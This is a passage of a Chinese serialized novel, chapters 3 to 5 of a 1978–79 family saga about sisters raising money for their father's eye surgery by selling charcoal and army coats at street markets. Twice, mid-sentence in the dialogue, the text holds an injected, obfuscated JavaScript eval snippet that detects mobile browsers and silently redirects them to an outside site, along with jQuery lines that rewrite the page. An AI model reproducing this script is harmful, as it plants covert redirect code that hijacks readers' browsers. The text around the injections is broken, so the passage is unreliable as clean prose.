易临春回到上高坡,向她表哥提起上石里河岸坎边的早市,没想到他见怪不怪,说易开元早就跟他说起过,还千叮万嘱,一定不能做这种违法的事。 她这下恍然大悟,为什么以前易开元从不让她送炭,更不告诉她有这样的早市。 可是她现在知道了,她无法做到装作不知道有这一回事,她感觉像是有一种本能,推动她在内心里谋划接下来该怎么做。 第二天她起得更早,把自己装扮了一下,用头巾从头到脖子,把整张脸蒙住,只留两个眼睛在外面,头上戴个斗笠,穿了一身黑衣服。 到了早市,她挑了一个角落,把事先分好的炭,最好的,比较好的,次好的,插上写了不同价格的纸牌。 人渐渐多起来,她往嘴里塞了一颗小石头,开始叫卖。 这一天早市上除了她和钱丰收,还有另外一家卖炭的,钱丰收的价格卖得最高,因为质量比较好,她把最好的一类炭标了与他一样的价格十五块一百斤,但质量比他的更好。 另外一家价格低,质量也差,她把比较好的一类标了与他一样的价格十二块一百斤,最后一类的标的价格比他们都低,九块钱一百斤。 想要买炭的人转了一圈,最后都回到她这里,不一会儿,她的炭就全部卖完了。 然后趁人不注意,她悄悄地离开。 第二天,易临春没来,也没有买炭,而是去附近找类似的早市,竟然在上高坡就找到了三个早市。 第三天,她换了一个地方,用同样的方法,早早地把炭卖完。 第四天又换了个地方,第五天再回到第一个早市……如此循环,不到半个月的时间,就把今年烧好的炭全部卖完了。 易临春很开心,很想跟人分享这份喜悦,可又怕暴露那些见不得光的秘密,身边没一个人可以分享。最后提了袋米,又跑到神农山来了。 小祖奶奶听完她的讲述,有些吃惊地看着她,显然不敢相信她会干出这些事来,好一会儿才点点头,“田忌赛马,狡兔三窟,不错,有两把刷子。” 易临春当然听不懂这些成语,但是还是打心底高兴,如果是易开元,一听到她干这些事,早就暴跳如雷,不打死她,也会把她骂个半死。 小祖奶奶只给了这么几句简短的评价,就一直沉默。 她有些紧张了,小心翼翼地问她,“小祖奶奶,我是不是做错什么了?如果错了,你告诉我,以后我改,我没读书,懂的不多……” “你做得很好,”小祖奶奶打断她,拉住她的手,拉到她旁边坐下,“孩子,记住,没读书是你的短板,但也并不全是坏事。你有常人没有的敏锐直觉,也可以说是一种商业天赋,更有一种无知者无畏的孤勇。只要有心,肯吃苦,假以时日,一定能做出一番事业来。” “……”易临春从未听到有人这样赞美她,激动得说不出话来。 “但是,一定要保护好自己。这次你做的比上次好,但还是忽略了一点,应该离那个姓钱的公家人远一点。”小祖奶奶说完,取下手腕上碧绿色的玉镯,放到她手上,“你爸的眼睛不能耽搁,快去吧。” “不行不行不行,我爸知道我拿你的东西,会打死我的。”易临春起身把玉镯放回床头柜上,二话不说,一溜烟跑了。 易临春统计过所有卖炭的收入,虽然比往年易开元卖炭要多得多,可是离凑足手术费还差一大截。 但无论如何,老人家的任何东西都不能碰,这是易开元反复向她们强调的事情。 易临春绞尽脑汁,寻思还有什么办法能搞到钱。 不管怎么样,她一定要尽快解决这个问题。 4. 第004章 第004章一九七八(四) 易定春被通知参加市场科的销售例会时,正在仓库盘点库存。 待她满身灰尘赶到会议室,不大不小的会议室已经黑压压挤满了人。 会议桌主席座坐着的是市场科副科长姚雪莲,一头干练的短发,身材娇小,四十岁不到的年纪,是整个制衣厂最年轻的中层干部,也是除虞亚群以外,唯一能跻身制衣厂管理层的女性。 围坐会议桌两边的是各个分区市场的负责人,外围坐着的是市场科一些骨干职工。 易定春站在门口,手上捧着一个笔记本,不知道往哪坐。 姚雪莲正看着手中的一份文件,似是觉察到门口有人,抬头看向她,犀利的眼神把她全身上下扫描了一遍,下巴朝中间的一个空位扬了扬,示意她过去座。 易定春从生产科借调到市场科快一个月了,这是她第一次参加市场科销售例会,感觉有些意外,她一个其他部门借调来的小喽啰,为什么要参加这种会议? 在场的人显然都有这样的疑问,原本都在议论着什么,这会儿都安静下来,疑惑不解的目光齐刷刷地落在她身上,跟随她从门口移到座位。直到姚雪莲一声“开会”,才纷纷把目光收回,聚焦在姚雪莲身上。 易定春翻开笔记本,放在大腿上,记录各个分区负责人汇报的数据,一轮下来发现,大部分销售数据和退货数据几乎接近。 这是什么道理? 数据不好看,但每个负责人在各自区域销售中遇到的困难都很艰难,解决的过程都非常精彩,最后的结果也都非常喜人。 有的人口才极好,逗得在场的人大笑不止,连一脸严肃的姚雪莲都不时露出微笑。 “好,”等所有的人汇报完,姚雪莲表情和声音都重归严肃,“总结一下,各位同事都非常努力地把货卖出去了,不巧,那些‘刁民’一样的顾客又退了回来。我们亲爱的同志们每天都在重复竹篮打水一场空。” 有几个人笑了,大多数人越发沉默,头也压得更低。 “我们现在看看这几个数据:地点:老街供销社;时间:星期六早上九点到下午五点;进出客人:五十八人;购买军大衣产品:零。星期天,时间地点一样,进出客人四十六人,购买军大衣产品也是零。” 易定春心里一惊,这不是她提交的工作报告里面的数据? “这是上个月唯一一个没有退货的销售点,因为没有卖出去一件大衣。客观原因,除了气候原因,气温高,军大衣需求没那么大;主观原因,供销社社员对产品不熟悉,不能够专业地向顾客介绍,服务态度不够积极主动,有些甚至不耐烦;还有其他一些原因,军大衣在供销社展示的时间有限,大多数时候都被堆积在仓库里,等等。” 姚雪莲停下来,挥了挥手中的几页纸,“这是我在军大衣长这么多年见过最专业的销售报告,而写出这样专业报告的人,竟然是一个从来没有做过销售的车间女工!” 易定春意识到所有人都看向她,有些恐慌,匆忙低下头,翻动着手中的笔记本。 姚雪莲布置接下来的工作任务,其中有几条,都是易定春在工作报告中提的建议,然后就散会了。 姚雪莲一走,易定春起身准备离开,各种尖酸刻薄的嘲讽铺天盖地而来,说她出风头,无事生非,增加大家的工作量…… 一次会议,竟让她从市场科的小透明变成了靶子。 易定春没有反驳任何人,只低头走路。 已经到了下班时间,她直接逃到了生产科女工宿舍,一头载进被子里。 她感觉自己已经到了崩溃的边缘,很想放声大哭一场,可听到脚步声,只能拼命克制,抹掉眼泪,坐起来。 来的人是她在生产科带的徒弟常秀英,在她身旁床沿坐下来。 “师父,你怎么了?”常秀英小心翼翼地递给她自己的手帕,“是不是在市场科受欺负了?” “我没事,”易定春推开她的手,掏出自己的手帕,擦了擦眼睛,“你的车工练得怎么样了?滚边、压线,都会了吗?” “早就会了,至少比林昱凌好多了。”常秀英一脸自豪的模样,自言自语地在旁边说了一大堆生产科最近的一些琐事,“她天天就知道巴结虞科长,还有罗科长,那怎么不让他们把你留在生产科呢?你好歹是她师父啊。” “谁在说我坏话呢?”说曹操,曹操就到,林昱凌的声音从过道里传来,人随之出现在门口,双手抱胸,倚靠在门框上,冷笑一声,“技术好有什么用?定春姐技术这么好,不也被发配到市场科去了?” 常秀英极力争辩,说是因为易定春技术已经很好了,所以才派到市场科去学习,这是领导在重点培养人才,让她能力更全面,以后可以担当大任。 林昱凌笑得乐不可支,笑她天真,“虞科长和姚科长两个人在争副厂长的位置,所以才互相踢皮球……”似是意识到说了不该说的话,忙捂住嘴。 易定春懒得理会这些复杂的人事关系,起身准备离开。 “差点忘了,师父,有人在门口等你。”常秀英一同站起来,“说是有很重要的事找你商量。” “我知道了。”易定春不用想也知道是谁,本不想去,可实在不想听这两个见面就吵的人在这里掰扯不清,想找个地方清净一下,就离开了宿舍。 卢昱山果然等在门口,见到她出来,两眼瞬时放光,“我的姑奶奶,总算见到你了。再不买票真的来不及了,学校马上要开学了。你没空就把身份证给我,我去买。” “不是跟你说了,让你赶紧买了自己的票去学校?”易定春扔给他一句话,不等他回话,离开工厂,朝长乐江的方向走去。 卢昱山追在她后面,不停地问她到底怎么了,是不是要放弃去上大学?为什么要放弃? 易定春整个人疲惫不堪,没有力气回答他那一堆问题,径直走到江边常去的地方,在一棵大树下坐下来。 过去一年备考,她几乎每天下午下班以后,都带着书到江边来复习。有时候卢昱山跟她一起,他们军工厂离得不远。 他们是初中同学,只是毕业后有好些年没联系。她进制衣厂后,两家工厂职工搞联谊会的时候他们再次重逢,一起准备考大学,关系亲近了不少。 “你不去,那我也不去了。”卢昱山开始耍小孩子脾气,一屁股坐在她旁边,背靠着树干。 “我爸眼睛出了问题,今年之内必须动手术,不然以后就看不见了,他才六十岁不到的年纪。”易定春本不想跟他说太多家里的事,只是压在心里也难受,“现在手术费还没凑齐,我怎么能撇下他不管,自己去上大学?更别说大学的学费还没着落。” “……”卢昱山很想豪气一把,让她放心,他来想办法。现实却是,能用钱解决的事情,他一件也解决不了。 他是家里唯一的儿子,顶替父亲进入军工厂,工厂效益越来越不行,工作多年,也没存下多少钱。他考上大学,学费还得指望他那几个姐姐。 “可是,过去两年,我感觉我已经离不开你了,我不相信你对我没有类似的感觉。我想过的未来,也把你放进去了。你让我怎么办?”卢昱山望着江面,像是自言自语,又像是说给她听。 易定春听到这样的话,很吃惊,也有一点欢喜,更多的是无奈,可她不知道怎么接他的话。 夕阳西下,晚风微凉,吹过脸盘,吹到她心里,凉凉的。 两个人就这样静静地坐着,一直到江面有渔船驶过,拉响长长的汽笛鸣声,才把他们唤醒。 易定春想到明天还有很多的工作要忙,起身,笑望着他,向他伸出手,“恭喜你,马上要成为大学生了。去了学校,努力学习,一定要坚持,别再三天打鱼两天晒网了。” 卢昱山仰头看着她,身材高挑,皮肤白皙,五官轮廓感很强,上嘴唇微微有点翘,有些自然卷的长发扎着两个辫子,虽然不是才子佳人故事里的美人,但也是很耐看的青春模样。 他那张俊俏的脸瞬间红了,有些不好意思地笑了笑,抓住她的手,被她用力一拉,站了起来,“那是当然。” 两个人像并肩作战的革命同志,取得了胜利,握手互相道喜。 他想一直握紧她的手,可她很快就抽走了。 易定春往前走了两步,忍不住回头,望着那棵大树,满是不舍,闭上眼睛,像是在祭奠过去的一去不复返的时光。好一会儿才睁开眼睛,咬紧牙,转过身去,快步往前。 “我会给你写信的。”卢昱山追了上去,侧头笑望着她。 “好啊。” “你要给我回信。” “肯定,”她脚步顿了一下,加了一句,“工作不忙的时候”。 易定春还是太天真,往后的日子,这样不忙的时候实在太少了。 她自己给自己挖的坑,在工作报告中提议要常驻供销社,对社员进行各种产品知识的培训,以期提高销售。 市场科的大部分人继续以各种形式阳奉阳违,少数人尝试了一下,以失败告终,最终也不再做这种无用功。 只有她一直在坚持。 她从早到晚守在供销社,拿着用心写好的讲义,对着不是剪指甲就是描眉甚至打哈欠的供销社社员对牛弹琴一般,讲得口干舌燥。 可无论她怎么努力,那些军大衣还是卖不动。 困惑无助的她,无奈之下,只能来到神农山找答案。 易定春一五一十地把卖大衣的艰难说给小祖奶奶听,却不想,易临春挑着一担山泉水突然出现在门口。 “临春,快把水放下,来给你大姐想想办法,你不是卖炭卖得挺好。”小祖奶奶自然知道这两姐妹从小不和,一见面就掐架,也总是想办法调和她们的矛盾。 “供销社的炭也不怎么好卖。”易定春这段时间一直呆在供销社,对这些情况很清楚,突然睁大眼睛,看向正在往水缸中倒水的人,“你是不是跑去上石里卖黑炭了?你不要命了?” “要你管,”易临春像被挠到痛处,瞬间炸毛,放下手中的桶,转身望向坐在床头柜边椅子的人,“都开学了,你不去学校,跑来这里做什么?” “我敢去吗?是谁说我自私,读书的机会给了我,进工厂的机会也给了我,什么都给了我,我就这么心安理得地受着,天底下有我这么自私的大姐吗?” “这是事实,你能否认吗?既然已经被扣上自私这样一顶帽子,为什么不继续下去?已经走到这一步了,就这么放弃,你想过爸多伤心?他纵容你自私,是希望你以后有能力回报他。你懂不懂?” “……”易定春气得浑身发抖,把已经到眼眶边缘的眼泪拼命逼回去,仰头望着天花板,声音哽咽,“我不是没这么想过,但一想到因为我,爸下半辈子要在黑暗中度过,我怎么都无法原谅自己,更不可能安心去上大学。” 易临春张了张嘴,显然也不知道怎么回她了,看向小祖奶奶,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274123|198158||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小祖奶奶中午想吃什么?我买了你最喜欢吃的豆腐干。” “我去擂辣椒。”小祖奶奶说了她们姐妹俩都喜欢吃的菜,起身准备做饭,“你们俩来给我帮忙,一个烧火,一个炒菜,不许吵嘴,谁说话大声谁洗碗。” 姐妹俩这才双双意识到,不应该在这里吵架,打搅老人家,扰乱她的清净。 在小祖奶奶的干预下,她们暂时实现了一顿饭时间的和平。也是这两年来,自谁进工厂的事发生后,姐妹俩难得在同一张桌子上吃饭。 吃完饭,易临春先离开了。 小祖奶奶给了易定春一些建议,并送给她几本书,她才回工厂。 接下来的时间,易定春把全副身心投入销库存这一艰巨而至关重要的工程。 她确信,只依靠供销社卖军大衣,想要把新的产品销售完再销库存,简直就是天方夜谭,在旧的库存还没有开动之前,新产品在源源不断地变成库存。 存在就是合理,受易临春在上石里卖炭的启发,并在小祖奶奶的点拨下,她决定改变思路。 经过与各方协调沟通,各种申请报告,重重审批,她终于在县城最大的供销社门口,支起了一个摊位,挂上大衣,她亲自来售卖。 很快,供销社里生产其他产品的国营单位,也开始有样学样,摆起了摊。甚至有些私人小贩,也趁机找个角落摆上东西卖。 供销社所在的这条老街,不久就变成了一个熙熙攘攘的露天集市。 在大街上摆摊卖东西,对她来说无疑是一个巨大的考验。 她根本张不开嘴吆喝,更怕遇见熟人,可这小城里,出门就是熟人,她时不时躲在摊位后面,把宽檐帽拉低,遮住自己的脸。 易定春依然存有一丝幻想,希望自己不仅能筹够父亲动手术的钱,还能赚足学费,在大学入学的最后期限前赶到学校。 等她摆摊将近一个月,她一件大衣都没有卖出去,她彻底放弃了去上大学的幻想,甚至想结束摆摊。 恰好在这个节骨眼上,同一条街市,离她不远的地方,出现了一个卖炭的摊位,摊主是易临春。 这丫头简直就是个点子大王,各种花样不断,一会儿来个炭盆烤红薯烤玉米,一会儿支个烤炉烤鱼,一口一个大叔大婶,大哥大姐,叫得很欢,整条街都是她吆喝卖炭的声音。 后来街市上有人模仿她,甚至压低价格,恶性竞争。 易临春看起来也不慌,她把炭分成三类,优等,中等,次等,价格也不一样,次等的价格低得离谱,照样能把客人抢过来。 这不就是田忌赛马吗?易定春心里着实佩服她,只上过一年半学的人,自然不知道这个成语,肯定也不知道是什么意思。 她记得小祖奶奶曾说过,易临春有商业天赋,胆子也大,敢闯敢拼,只可惜读书太少。 她现在算是见识了。 易临春一直没有过来跟她打招呼,她也没有主动过去找她说话。 直到有一天,她的摊位上多了一张纸牌,上面歪歪扭扭写着“反季降价”几个字,除了”反”字,其他三个字都是用拼音写的。 不知道是不是这张牌子的功劳,这一天,易定春终于卖出去了第一件军大衣。 暑往秋来,天气慢慢变凉。 易定春自己把“反季降价”四个字,改成“新品特价”。 大衣销量慢慢多起来,她虽然还叫不出口吆喝,但至少不再躲,敢于直面每一个来询问价格的人。 易定春销库存的工程工期无限延长,不知不觉,已经是寒冬腊月。 这一日同往常一样,她把大衣一件一件挂上推拉杆,不一样的是,当她挂好衣服,回到椅子前,旁边多了一个暖手炉,里面的炭火劈啪作响。 易定春心里一暖,拿上一件大衣,走到易临春身旁,递给她,“临妹……” 易临春身子定住,好一会儿,缓缓直起身,转身看向她,漆黑澄澈的眼眸,明亮有神。 易定春看着眼前这个身形瘦削的女子,一头干净利落的短发,像个假小子,但瓜子脸型,配上纤巧的五官,有一种别样的韵味,一种男性的英姿和女性的柔美融合在一起的美,浑身散发出一种无拘无束的灵动,仿佛天空的云,四野的风。 “你身材好,给大姐做个活模特吧。”定春见她嘴巴动了几下,最终下唇被上齿咬住,动不了,忍不住替她把这声“大姐”叫出来,这样更省事。 易临春接过大衣披上,对着集市来来往往的人吆喝,“卖大衣,送暖炭,不暖不要钱,走过路过,快来看看嘞……” 易定春心里瞬间涌入一股热流,她不记得易临春有多久没叫过她“大姐”。上次在神农山大吵一架,她们姐妹之间原本破碎的关系几乎降到了冰点。 这一声吆喝,抵得过“大姐”两个字的份量。 “回家吧,快过年了,你总不能一直住在你外公那边。”易定春心里想说的其实是,你不是一个人,以后家里的重担我们一起分担。 只是,这种煽情的话她说不出口。 “快了,等我筹满手术的钱。”易临春吆喝完,弯腰继续整理木炭。 太阳出来了,冬日的阳光划破迷雾,照在老街长长的青石板路上,照在砌块砖之间缝隙里的碎冰上,折射出的光,耀眼夺目。 易定春看了一眼正在忙碌的易临春,对着两边来往的人群也学着吆喝起来,满心欢喜而温暖,仿佛有光透过裂缝,照进她心底。 5. 第005章 第005章一九七九(一) 过了腊八就是年。 小时候,易临春很喜欢过腊八,有腊八粥喝,腊八以后年味也越来浓。 除此之外,她父亲是腊八这一天生日,往年不管生活多艰难,家里都会庆祝。但今年的腊八,家里的氛围像冰窖一样。 易临春发愁的是,不管她们使多大的劲,想尽各种办法,依然没有筹满给她父亲动手术的钱。 最后一招,就看腊八这一天了。 一大早,易临春挎着一个竹篮往姑妈家走,篮底躺着昨天刚熬制成块的米豆腐,还有二十个鸡蛋。 寒风凛冽,刮在脸上刀割一样。易临春感觉天地之间就像个大冰柜,她就是冻在冰柜里的一块肉。 幸好姑妈家离得不远,跟他们同属于长乐湾,只是分属于不同的生产小组,没多久便到了。 易临春站在贴着褪色门神的院门前,一眼看见她姑妈易秋莲正坐在院里剁猪草。 她抬脚跨进门,笑着打招呼,“姑妈,听说你身体不适,我拿了些鸡蛋给你冲着喝,补补身体。还有一块昨天刚做的米豆腐,可以过年吃。” 易秋莲抬头看了她一眼,只“嗯”了一声,并没有再说什么,继续手中的活。 易临春有些尴尬,把竹篮放在一旁,上前说要给她帮忙。 易秋莲也没拒绝,把刀递给她,自己坐在旁边椅子上歇息。 易临春边剁猪草,边东拉西扯,找话题聊天,最后终于聊到了她父亲头上。 她停下手中的刀,嗓子像被什么堵住,费了好大劲才挤出蚊子一样的声音,“那个,姑妈,这不年底了,我们希望能尽快让我爸动手术,过个好年。只是手术费还差一点……” “哎呀,我差点忘了件重要的事。临春啊,前段时间我腰疼,田里还有几个草垛的稻草没收回来,你年轻,手脚快,去帮我收一下。” “……”易临春手中的刀被夺走,人被拉起来,手里塞了根扁担,直接被推出了后门。 她踏出后门的一刹那,寒风呼地钻进她喉咙里,把徘徊在嗓口的“借钱”两个字狠狠地灌回肚子里。 她想起小时候,小祖奶奶给她讲《红楼梦》,每次讲到刘姥姥找王熙凤借钱,她总是哭得稀里哗啦的。 现在想想,刘姥姥比她幸运多了,遇到的是王熙凤,给了她二十两银子,还有回去坐车的钱。她不但借不到钱,还得干活。 可她现在已经哭不出来了,眼泪早已被粗糙的生活榨干殆尽。 易临春叹了口气,深一步浅一步地走向姑妈的田里。 稻草垛堆得像座山,她哈了口气,搓了搓手,踮脚抽稻草,稻草垛堆得有点高,她扯了半天扯不下来。 身后忽然传来薄冰被踩碎咯吱作响的声音,她倏地转身。 几米开外,站着一个男人,中等身材,眉目清俊,看起来斯斯文文的,怀里抱着几本书。衣服穿得很有层次感,中山装里面穿得是白衬衫,衬衫领尤为□□,外面套的却是军大衣。 两人对视了一眼,男人先开口,“你是易家的……” “易临春,女儿中排行老三。”易家女儿多,孩子更多,死的死,走散的走散,很多人都分不清谁是谁,易临春只能自报家门。 “你好,我是孟雪松,秋莲婶子让我过来……”他顿了一下,突然笑了,笑容极富感染力,脸微微有些红。 易临春早上出门的时候,依稀听到何淑秀跟她父亲提到“相亲”两个字,然后催促她过来给她姑妈送年礼。 此刻,她才明白是怎么回事,抬起手臂挡住脸,以免让他看到她红得发烫的脸。 幸好天气冷,她的脸很快没那么烫了,脸色恢复原状,放下手臂,把手中的扁担递给他,“既然我姑妈让你来帮我干活,那就开始吧。” “好,这是应该的,那个给我。”孟雪松接过她递给他的扁担,连同手中的书都放到一边,脱了大衣,爬上草垛。 他把绑好的稻草从草垛上一把一把扔下来,易临春用扁担从稻草中间穿过去,两头各挂几把,只在中间留一个肩膀的空隙。 孟雪松钻进扁担中间的空隙,把稻草挑在肩膀上,起身就走。 她用手拖,两个人互相配合,边干活边聊天。起初都有点羞涩,越聊越轻松,不像是相亲的人,倒像是两个老朋友久别重逢。 她从聊天中得知,孟雪松跟她姑父是一个姓,算是同族,同属于一个生产小组,小孟湾。 他们这边的习俗,一个村由一个或几个大湾组成,一个大湾由很多个小湾组成,每个小湾由几个姓的人组成,一般以其中一个主要的大姓称呼,比如他们家姓易,但属于小袁湾。 易临春很奇怪,他们算是同一个大湾里的,可她却从来没有见过他。 孟雪松也没有隐瞒她,他父亲脾气火爆,对他母亲动辄拳打脚踢。他很小的时候,她母亲不堪忍受父亲的暴力,就带着他和妹妹逃离。一直到他父亲去世,他们才回来。 回来这两年,他很少出门,埋头苦读,高考恢复后,连续考了两次,两次都考上了大学,可是因为他们家祖上的成分不好,都没能去上大学。 孟雪松说到上学的事,原本清朗的声音,渐渐低沉下去,话里话外中暗含的凄楚和绝望,易临春最能体会,就像一艘搁浅在沙漠里的破船,想扬帆起航驶向辽阔的大海,几无可能。 “我跟你一样,”她扯了一根枯草,笑着自嘲,“不对,你至少能考上大学,我字都不认识几个,就是个睁眼瞎子。” “你三姐……还是大姐,不是考上大学了……”孟雪松突然顿住,放慢脚步,静默许久,轻叹一口气,捞起她的手,紧紧抓住,“如果你不嫌弃,我可以做你的眼睛。” “……”易临春抬头看向他,撞上他的视线,一时不知道怎么接他的话,匆忙低下头,落在被他握住的手上,有些慌乱,抽出手,又扯了根枯黄的野草,“我现在没心情想这些事,我爸眼睛要动手术,钱还没筹够。” “差多少?我来想办法。” 易临春没说差多少,也没有直接拒绝,不知道该怎么说,只能埋头去拖稻草。 他们来来回回,稻草垛的稻草一点一点减少,直至全部搬完,便开始往回走。 回到姑妈家,易临春发现姑妈态度大变,与她来时的冷淡不同,很热情地拉着他们到厅屋桌上坐,还生了炉火,甚至留他们吃饭。 他们当然不好意思麻烦她,双双离开了。 孟雪松把她送到了家门口,她也没有拒绝。 他们的事情当天就定了下来。 何淑秀从姑妈家回来后,喜滋滋地告诉她,“何家愿意出五百块彩礼,随时过礼。” 孟雪松说的他来想办法,原来就是这样的办法。 何家第二天就把钱送过来了,在眼下这个节骨眼,她除了接受,想不出还有什么别的选择。 她终于为他父亲凑足了手术费,却没想到是以这种方式。 易临春心情很复杂,无法用语言来形容的复杂。 只是眼下她没有那么多时间去细细琢磨,因为如何劝说易开元去医院动手术,难度不亚于向亲戚们借钱。 易临春好说歹说,把他们家重量级的人物搬了出来,“大姐为了一起筹钱,已经放弃上大学,如果不去动手术,那不是枉费她的一片孝心?” 易开元早就知道他们姐妹俩在老街摆摊筹钱的事情,叹了口气。 “就是,爸,如果你不去医院,我就把大姐叫回来,我还要再给二姐写信,让她也回来劝你。”易念春小小年纪,但也很懂得戳老爹的心窝,临门来了一脚。 “你敢?!”易开元又像个被困的狮子乱吼,最终很不情愿地答应了,“走吧,你们不要麻烦她们,我去就是。” 易临春松了口气,让何淑秀马上整理东西,他们今天就去医院。 天不凑巧,他们准备好东西,刚走出家门,何淑秀和易念春扶着易开元走在前面,易临春提着行李跟在后面。 门口一蓝一绿两个身影迎面走来,高大一些的蓝色身影是穿着工服的易定春。 绿色身影向前跑了两步,一把抱住易开元,“爸,我回来了。” 易开元空洞无神的眼睛瞬间睁得牛眼睛一样大,仿佛五雷轰顶,整个人都惊呆了。 许久,他推开抱着他的人,双手摸索着,摸到她的脑袋,摸到了她的军帽,“真的是小满?” “是我,爸,我是小满。我听说你眼睛受伤了,急得不行,恨不得立刻飞回来。当时就打了复原报告,好不容易办好所有的审批手续,马不停蹄地往回赶,今天才到。” “小幺在哪?”易开元的反应出乎所有人的意料,他推开易满春,摸索着抓到站在他旁边的易念春,扬起手有气无力地打在她背上,“我打死你,让你写信,让你写……” 易临春一把扯开易念春,拉到她身后,“她还小,你打她干什么?” 许是惯性,易开元脚步不稳,身体晃了晃,易定春和易满春同时扶住他的手臂,推着他往里走,“爸,你别激动,我们先进去坐一会儿。” 易念春被吓傻了,好一会儿才回过神来。 十来岁出头的小女孩,说大不大说小也不小的年纪,想不明白自己什么地方做错了,可是当着这么多人的面挨打,还是头一遭,趴在易临春怀里哇哇大哭。 何淑秀在旁边唠唠叨叨,责备易念春多事,该打,要不是她多事,现在都到医院了。 “你能不能闭嘴?”易临春压制住心底的怒火,示意何淑秀也进去,她抱着易念春的头,安抚着她。 易念春哭了一会儿,自己抹干眼泪,“姐,我们也进去吧,爸爸的眼睛不能再拖了。” “我去就行,还有大姐二姐在呢,你在外面坐会儿。”易临春担心易开元一时半会儿不会消气,再迁怒易念春。 “我没事。”易念春拽着易临春的手臂往里走,径直走到房间里。 只是,她们低估了易开元的犟脾气。 无论她们姐妹几个怎么劝说,他都无动于衷,躺在床上一动不动,不吃不喝,非要易满春回部队去。可那岂是他们想回去就能回去的地方? 她们担心他会一直绝食下去,姐妹几个商量好,何淑秀留下来照顾病人。易定春先去工厂上班,她留下来只会给易开元造成更大心理压力。 易临春和易满春去神农山把小祖奶奶接过来。易念春原本闹着也要去,易临春不同意,坚持要她去学校。 易临春推了个板车,和易满春一同去神农山接人。 一路上,姐妹俩聊了这几年的生活,易满春讲起军中生活,绘声绘色,一脸自豪与不舍。 易临春说了这几年家里发生的一些事,直至易开元眼睛出问题,筹手术费,包括她与孟雪松订婚的事。 “临妹,这件事,你再好好考虑一下。如果只是为了五百块钱彩礼就嫁给他,你又不了解他这个人,万一他以后他对你不好怎么办?” “我想不至于吧,他读了那么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274124|198158||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多书,懂得比我多。”易临春腊八那天与孟雪松初次见面,对他的感觉并不差,甚至可以说非常好。 “这和读书没关系,关键要对你好。临妹你听我说,我这次复原回来,带回一笔安置费,加上你和大姐前期凑的,爸的手术费肯定是够了。孟雪松那五百元彩礼钱,我们退给他。” 易临春有些犹豫,一时不知道怎么接她的话,笑着打趣她,“二姐,你的安置费,他们肯定要留着给你做嫁妆的。” “瞎说什么?”易满春轻轻拍了一下她的屁股,“什么我的你的?我的就是你的,我们是一家人。” “……”易临春心里一暖,很感动她能说出这样的话。 她和易满春虽然也不是同一个娘胎里出来的,但从未闹过什么矛盾。她这个二姐性格讨喜,从小乖巧听话,从不违逆父母,在湾里也有很好的人缘,甚至包括袁家的人。 不像她,时不时跟易开元唱个反调,从小没少挨打。 姐妹俩一路聊着,很快就到了目的地。 小祖奶奶一听事情原委,二话不说,就坐上了板车。易临春拉板车。 这是小祖奶奶隐居神农山多年来,头一次下山。 她担心会被不怀好意的人看到对小祖奶奶不利,就让她戴了头巾围住脸,还戴了帽子,易满春一手扶着她坐在板车上,一手给她撑了把伞。 小祖奶奶一到,效果立竿见影。 易开元虽然朝易临春吼了几句,不该把小祖奶奶请过来。但人不再躺着,更不敢绝食了,让何淑秀把家里平时舍不得吃的菜都拿出来招待贵客,一张高脚八仙桌摆了一桌。 他自己摸索着恭恭敬敬地把小祖奶奶请到上座,小心翼翼地坐在她旁边,耐心地听老人说话,不时点头说是。 吃饭的时候,易念春放学了,易定春也从工厂赶回来,所有人都上了桌。 “她们易家人,没有儿子。”小祖奶奶环视桌上的人一圈,声音突然低下来,“开开啊,我知道这是你们湾里人常挂在嘴上的话,也是你最不想听到的话。” 小祖奶奶哪壶不开提哪壶,显然是有意道出这个沉重的事实。 易开元顿时老泪纵横,手握拳头,捶着胸口,嘴唇微微颤抖,“我命中无子,一辈子被人看不起,指望着你们有出息,给我争口气。可现在,一个好好的部队不留,一个大学不上,你们一个个的,是要把我往死里逼啊……” “爸,你真不用担心,我是服从组织的安排才选择回来的,现在已经是和平年代,部队不需要那么多人了。我们的重心要转移到经济建设来,组织号召我们回到地方,积极参与地方的经济建设,这也是为国家做贡献的事,光荣着呢。”易满春声音昂扬,双眼闪着光。 “是啊,爸,”易定春按住易开元捶胸的手,她就坐在他旁边,“我没有不上大学,只是换一种形式,一边工作一边学习,我打算过完年就报个夜校。” “我这边更不用担心,”易临春坐直了脊背,“孟雪松读了那么多书,能被他看上,是我的福气。你们不是一直担心我没文化,嫁不出去?现在第一个嫁人的就是我。以后你们就可以少操一份心了。” 房间里的人几乎同时看向她,似是想从她脸上的表情确认她是悲是喜,只有易开元,头压得更低了。 “现在最要紧的是你的眼睛好起来,不然最内疚的就是小妹了,她还小,不要吓着她。”易临春话音刚落,易念春又抽泣起来,极力压低声音。 何淑秀插不上话,只能不停地厨房、厅屋两边跑,把冷了的菜一热再热。 “开开啊,你不知道你有多幸福,我有多羡慕你。”小祖奶奶拉住何淑秀,让她也坐下来吃饭,掏出手帕,抹了抹红着的眼睛,“以后不要再说什么命中无子这样的话,你要相信我的眼光,这几个孩子,以后都会成为你的骄傲。她们易家人,没有儿子,这句话终有一天不再是你的痛,而是你最大的荣光。可东方家的儿子们……” 小祖奶奶叹了口气,那些说不出口的话,化成了古人的诗词,“滚滚长江东逝水,浪花淘尽英雄。是非成败转头空。青山依旧在,几度夕阳红。” 